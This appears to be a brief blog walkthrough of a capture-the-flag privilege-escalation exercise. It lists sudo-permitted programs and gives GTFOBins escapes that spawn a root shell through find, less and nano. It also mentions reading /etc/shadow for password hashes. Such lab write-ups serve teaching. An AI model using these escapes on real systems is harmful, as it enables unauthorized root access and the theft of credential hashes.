With command :
sudo -l
We check what services we can run as root. adn with this info we can answer Q1From output of the command we see 3 services/programs that we can run as root. Now that we have this information we can head over to the GTFObins To check for each service/program that we can gain root access to system.
- Find
- Less
- nano
sudo find . -exec /bin/sh \; -quit
sudo less /etc/profile
!/bin/sh
sudo nano
^R^X
reset; sh 1>&0 2>&0
Note about getting root via nano one command at the time ^R - is CTRL + R and ^X CTRL + X
To answer Q2 we run:
find / -type f -name flag2.txt 2>/dev/null
that we find path to the flag2.txt fileTo answer Q3 we neet to check GTFObins to get command.
To answer Q4 we open /etc/shadow to find answer. I hope this post is helpfull for anyone stuck at solving this task.
No comments:
Post a Comment